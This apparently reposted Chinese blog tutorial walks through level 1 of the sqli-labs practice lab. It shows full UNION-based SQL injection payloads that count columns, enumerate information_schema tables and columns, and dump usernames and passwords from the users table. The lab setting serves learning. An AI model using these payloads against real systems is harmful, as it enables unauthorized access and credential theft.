当前位置: 首页 > news >正文

web——sqliabs靶场——第一关

今天开始搞这个靶场,从小白开始一点点学习,加油!!!!

1.搭建靶场

注意点:1.php的版本问题,要用老版本

              2.小p要先改数据库的密码,否则一直显示链接不上数据库

2.第一道题,从0开始

更着大佬学习怎么搞

1.判断是否存在sql注入漏洞

在开始之前我们要先知道如何判断是否存在sql注入漏洞:

最为经典的单引号判断法:
在参数后面加上单引号,比如: 1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

有报错,说明有sql注入点

2.判断sql注入漏洞的类型

通常sql注入漏洞的类型有两种:

1.数字型 

2.字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

2.字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。

实践一下

数字型判断

/?id=1 and 1=1

回显正常

/?id=1 and 1=2

回显正常

字符型判断

/?id=1' and '1'='1

?id=1' and 1=1 --+

 

回显正常

/?id=1' and '1'='2

/?id=1' and 1=2 --+

发现没有回显,有错误,说明是字符型注入漏洞

现在进行联合注入,先来判断它的字段数 
?id=1' order by 1 -- +
?id=1' order by 2 -- +
?id=1' order by 3 -- +
?id=1' order by 4 -- +

这个 --+,主要是注释掉之后的语句

 

但是当判断到4的时候页面报错,说明它里面的字段数只有3位

字段数:在 SQL 查询中,字段数(Field count)通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念,它决定了查询结果中会返回多少列数据,也影响了数据库查询的结构、执行计划和性能。

开始爆出显示位,就是看看表格里面那一列是在页面显示的:
?id=100' union select 1,2,3 -- +

注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。

也可以将100改为-1,都是为了后面的1,2,3显示出来

可以看到是第二列和第三列里面的数据是显示在页面的

我们可以控制2,3出现的位置,那么开始判断库名:

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version() -- +

 

得到库名为security,下来判断表名

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+

查询出表名有:emails,referers,uagents,users 四个

可以用内置函数group_concat() 将表名一次性输出
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 1, group_concat(table_name), 3:

  • 1: 这是第一列的值,通常是一个常量,表示查询结果的占位符。

  • group_concat(table_name): 这部分非常关键。GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name) 会将 information_schema.tables 中所有表名(table_name)拼接成一个由逗号分隔的长字符串

  • 3: 这是查询的第三列,类似于第一个列,它只是占位符,不会影响结果。

也是一共四个表

开始爆users的列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

发现有id,username,password三列

从username和password两列里爆出数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

 

得到数据,结束。。。

原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园

相关文章:

web——sqliabs靶场——第一关

今天开始搞这个靶场&#xff0c;从小白开始一点点学习,加油&#xff01;&#xff01;&#xff01;&#xff01; 1.搭建靶场 注意点&#xff1a;1.php的版本问题&#xff0c;要用老版本 2.小p要先改数据库的密码&#xff0c;否则一直显示链接不上数据库 2.第一道题&#xff0…...

tartanvo ubuntu 20.04部署

1. 所有环境安装流程参考 2. 运行python3 tartanvo_node.py出现问题&#xff1a; ImportError: cannot import name int from numpy版本问题&#xff0c;卸载当前版本并更换版本&#xff1a; pip uninstall numpy pip install numpy1.22.4问题解决。 3. 采用2to3脚本将其代…...

SpringBoot整合Freemarker(三)

定义循环输出的宏 <#macro list title items> ${title?cap_first}:<#list items as x>*${x?cap_first}</#list> </#macro><list items["mouse", "elephant", "python"] title"Animals"/> 输出结果…...

Android 一个APP打开另一个app的两种方式,需添加QUERY_ALL_PACKAGES权限

加&#xff1c;uses-permission android:name"android.permission.QUERY_ALL_PACKAGES"/> 方式1&#xff1a;打开外部app&#xff0c;在新窗口打开。 private void doStartAppPackageName(String packagename) { // 通过包名获取此APP详细信息&#x…...

<数据集>草莓叶片病害识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;4371张 标注数量(xml文件个数)&#xff1a;4371 标注数量(txt文件个数)&#xff1a;4371 标注类别数&#xff1a;7 标注类别名称&#xff1a;[Angular Leafspot, Anthracnose Fruit Rot, Blossom Blight, Gray Mol…...

React 中 `key` 属性的警告及其解决方案

React 中 key 属性的警告及其解决方案 文章目录 React 中 key 属性的警告及其解决方案1. 引言2. 什么是 key 属性3. key 属性的重要性4. 常见的 key 属性警告及其原因4.1 缺少 key 属性4.2 使用不稳定的 key&#xff08;如索引&#xff09;4.3 重复的 key 值 5. 如何解决 key 属…...

OpenHarmony4.1蓝牙芯片如何适配?触觉智能RK3568主板SBC3568演示

当打开蓝牙后没有反应时&#xff0c;需要排查蓝牙节点是否对应、固件是否加载成功&#xff0c;本文介绍开源鸿蒙OpenHarmony4.1系统下适配蓝牙的方法&#xff0c;触觉智能SBC3568主板演示 修改对应节点 开发板蓝牙硬件连接为UART1&#xff0c;修改对应的节点&#xff0c;路径为…...

濮良贵《机械设计》第十版课后习题答案全解PDF电子版

《机械设计》(第十版)是“十二五”普通高等教育本科国家级规划教材&#xff0c; 是在《机械设计》(第九版)的基础上修订而成的。本次修订主要做了以下几项工作&#xff1a; 1. 内容的适当更新——自本书第九版出版以来&#xff0c; 机械工程及相关领域的新理论、新技术和新标准…...

Python进阶语法探索:列表推导式

在Python编程中&#xff0c;列表推导式&#xff08;List Comprehensions&#xff09;是一种简洁而强大的语法结构&#xff0c;它允许你以一行代码的形式创建列表&#xff0c;同时执行循环、条件判断等操作。列表推导式不仅提高了代码的可读性&#xff0c;还显著提升了编程效率。…...

java合并图片与文字

通过java来绘制海报&#xff0c;加载外部字体并设置样式大小与加粗、设置背景图、合并图片&#xff0c;下面是示例 import javax.imageio.ImageIO; import java.awt.Color; import java.awt.Font; import java.awt.FontMetrics; import java.awt.Graphics2D; import java.awt.…...

OpenCV快速入门

OpenCV&#xff08;Open Source Computer Vision Library&#xff0c;开源计算机视觉库&#xff09;是一个广泛应用于图像处理、计算机视觉、视频分析等领域的开源库。它不仅适用于研究人员和开发人员&#xff0c;还被广泛用于学术、工业和商业应用。本篇文章将帮助你快速了解 …...

ArcGIS软件之“计算面积几何”地图制作

一、消防站的泰森多边形 效果图&#xff1a; 二、人口调查的泰森多边形 确定后效果图&#xff1a; 三、人口调查的泰森多边形属性设置 确定后的效果图&#xff1a; 四、计算面积几何&#xff0c;用于求密度 先添加字段area_1&#xff0c;然后设置浮点型及字段属性 五…...

RHCE 第四次作业

一.搭建dns服务器能够对自定义的正向或者反向域完成数据解析查询。 1.配置环境 [rootlocalhost ~]# yum install bind [rootlocalhost ~]#systemctl stop firewalld [rootlocalhost ~]#setenforce 0 2.配置DNS主服务器 [rootlocalhost ~]# vim /etc/named.conf options { …...

【贪心算法】No.1---贪心算法(1)

文章目录 前言一、贪心算法&#xff1a;二、贪心算法示例&#xff1a;1.1 柠檬⽔找零1.2 将数组和减半的最少操作次数1.3 最⼤数1.4 摆动序列1.5 最⻓递增⼦序列1.6 递增的三元⼦序列 前言 &#x1f467;个人主页&#xff1a;小沈YO. &#x1f61a;小编介绍&#xff1a;欢迎来到…...

分布式光伏管理办法

随着分布式光伏项目的不断增加&#xff0c;传统的管理方式已经难以满足高效、精准的管理需求。光伏业务管理系统作为一种集信息化、智能化于一体的管理工具&#xff0c;正在逐步成为分布式光伏项目管理的重要支撑。 光伏业务管理系统通过数字化手段实现对光伏业务全流程的精细化…...

2024最新软件测试面试热点问题

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 大厂面试热点问题 1、测试人员需要何时参加需求分析&#xff1f; 如果条件循序 原则上来说 是越早介入需求分析越好 因为测试人员对需求理解越深刻 对测试工…...

如何利用探商宝精准营销,抓住行业机遇——以AI技术与大数据推动企业信息精准筛选

近年来&#xff0c;随着人工智能与大数据技术的迅猛发展&#xff0c;企业的营销手段和策略发生了巨大变化。尤其是在信息爆炸的数字时代&#xff0c;如何有效利用这些技术在海量数据中精准找到潜在客户&#xff0c;已成为中小企业亟待解决的核心问题。 最近&#xff0c;全球人…...

嵌入式硬件电子电路设计(三)电源电路之负电源

引言&#xff1a;在对信号线性度放大要求非常高的应用需要使用双电源运放&#xff0c;比如高精度测量仪器、仪表等;那么就需要给双电源运放提供正负电源。 目录 负电源电路原理 负电源的作用 如何产生负电源 负电源能作功吗&#xff1f; 地的理解 负电压产生电路 BUCK电…...

数据仓库还是数据集市?这俩怎么选?

数据仓库和数据集市作为支持决策分析的两种不同方式&#xff0c;根据各自的特点和优势&#xff0c;有不同的应用场景&#xff0c;今天就来探讨下数据集市和数据仓库该怎么选&#xff1f; 一、数据集市和数据仓库对比 1、数据集市与数据仓库的关系&#xff1a; 1&#xff09;数…...

计算机图形学 实验二 三维模型读取与控制

目录 一、实验内容 二、具体内容 (在实验2.3的基础上进行修改) 1、OFF格式三维模型文件的读取 2、三维模型的旋转动画 3、键盘鼠标的交互 4、模型的修改 三、代码 一、实验内容 读取实验提供的off格式三维模型&#xff0c;并对其赋色。利用鼠标和键盘的交互&#xff0…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中&#xff0c;我们会遇到使用 java 调用 dll文件 的情况&#xff0c;此时大概率出现UnsatisfiedLinkError链接错误&#xff0c;原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用&#xff0c;结果 dll 未实现 JNI 协…...

EtherNet/IP转DeviceNet协议网关详解

一&#xff0c;设备主要功能 疆鸿智能JH-DVN-EIP本产品是自主研发的一款EtherNet/IP从站功能的通讯网关。该产品主要功能是连接DeviceNet总线和EtherNet/IP网络&#xff0c;本网关连接到EtherNet/IP总线中做为从站使用&#xff0c;连接到DeviceNet总线中做为从站使用。 在自动…...

libfmt: 现代C++的格式化工具库介绍与酷炫功能

libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库&#xff0c;提供了高效、安全的文本格式化功能&#xff0c;是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全&#xff1a…...

快速排序算法改进:随机快排-荷兰国旗划分详解

随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...

【免费数据】2005-2019年我国272个地级市的旅游竞争力多指标数据(33个指标)

旅游业是一个城市的重要产业构成。旅游竞争力是一个城市竞争力的重要构成部分。一个城市的旅游竞争力反映了其在旅游市场竞争中的比较优势。 今日我们分享的是2005-2019年我国272个地级市的旅游竞争力多指标数据&#xff01;该数据集源自2025年4月发表于《地理学报》的论文成果…...

从实验室到产业:IndexTTS 在六大核心场景的落地实践

一、内容创作&#xff1a;重构数字内容生产范式 在短视频创作领域&#xff0c;IndexTTS 的语音克隆技术彻底改变了配音流程。B 站 UP 主通过 5 秒参考音频即可克隆出郭老师音色&#xff0c;生成的 “各位吴彦祖们大家好” 语音相似度达 97%&#xff0c;单条视频播放量突破百万…...

第2课 SiC MOSFET与 Si IGBT 静态特性对比

2.1 输出特性对比 2.2 转移特性对比 2.1 输出特性对比 器件的输出特性描述了当温度和栅源电压(栅射电压)为某一具体数值时,漏极电流(集电极电流...